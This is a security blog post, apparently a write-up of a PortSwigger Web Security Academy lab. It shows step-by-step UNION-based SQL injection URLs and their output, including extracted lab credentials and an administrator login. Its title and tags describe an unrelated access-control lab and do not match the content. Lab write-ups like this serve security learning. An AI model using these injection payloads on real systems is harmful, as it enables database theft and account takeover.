Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

User role can be modified in user profile

User role can be modified in user profile: This lab contains an SQL injection vulnerability in the product category filter. • PortSwigger • Access control vulnerabilities • union, sql

2023-05-032 tags
Tags

🎯 Objective

This lab contains an SQL injection vulnerability in the product category filter.

Goal:

  • Use a UNION-based SQL injection attack.
  • Retrieve all usernames and passwords from the users table.
  • Log in as the administrator user.

🔎 Analysis

Step 1: Identify Column Count

Start with an ORDER BY test to determine the number of columns:

sql
https://0aea00980474b096c063221600bc00f6.web-security-academy.net/filter?category=Pets' ORDER BY 2--

Confirmed 2 columns are present.


Step 2: Identify Data Types

Test with a UNION SELECT to check compatible datatypes:

sql
https://0aea00980474b096c063221600bc00f6.web-security-academy.net/filter?category=Pets' UNION SELECT 1, 'b'--

Confirmed that the second column accepts string data.


Step 3: Extract Usernames

Querying the users table:

sql
https://0aea00980474b096c063221600bc00f6.web-security-academy.net/filter?category=Pets' UNION SELECT NULL, username FROM users--

Step 4: Extract Passwords

sql
https://0aea00980474b096c063221600bc00f6.web-security-academy.net/filter?category=Pets' UNION SELECT NULL, password FROM users--

Passwords were successfully retrieved.


Step 5: Confirm Database Type

Used version query:

sql
https://0aea00980474b096c063221600bc00f6.web-security-academy.net/filter?category=Pets' UNION SELECT NULL, version()--

Result:

html
PostgreSQL 12.12 (Ubuntu 12.12-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu
Compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, 64-bit

So, the DBMS is PostgreSQL.


Step 6: Concatenate Columns

Using PostgreSQL concatenation operator ||:

sql
https://0aea00980474b096c063221600bc00f6.web-security-academy.net/filter?category=Pets' UNION SELECT NULL, username || password FROM users--

Response (ugly format):

html
wiener17ap5dyknfv5mvgsixws Fur Babies Pest Control Umbrella carlosb4l96gtssfe0zhzq23p9 administratorqzgqeyft9fb6de92y44c Babbage Web Spray More Than Just Birdsong

Step 7: Format Nicely with CONCAT

Crafted a cleaner query:

sql
https://0aea00980474b096c063221600bc00f6.web-security-academy.net/filter?category=Pets' UNION SELECT NULL, CONCAT(username, ':', password) FROM users--

Response:

html
Fur Babies administrator:qzgqeyft9fb6de92y44c
Pest Control Umbrella carlos:b4l96gtssfe0zhzq23p9
Babbage Web Spray wiener:17ap5dyknfv5mvgsixws
More Than Just Birdsong

🎉 Result

  • Extracted all usernames and passwords.
  • Administrator credentials retrieved:
text
administrator : qzgqeyft9fb6de92y44c
  • Successfully logged in as administrator. ✅
Navigate

In this post

  1. 01🎯 Objective
  2. 02🔎 Analysis
  3. 03Step 1: Identify Column Count
  4. 04Step 2: Identify Data Types
  5. 05Step 3: Extract Usernames
  6. 06Step 4: Extract Passwords
  7. 07Step 5: Confirm Database Type
  8. 08Step 6: Concatenate Columns
  9. 09Step 7: Format Nicely with CONCAT
  10. 10🎉 Result
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.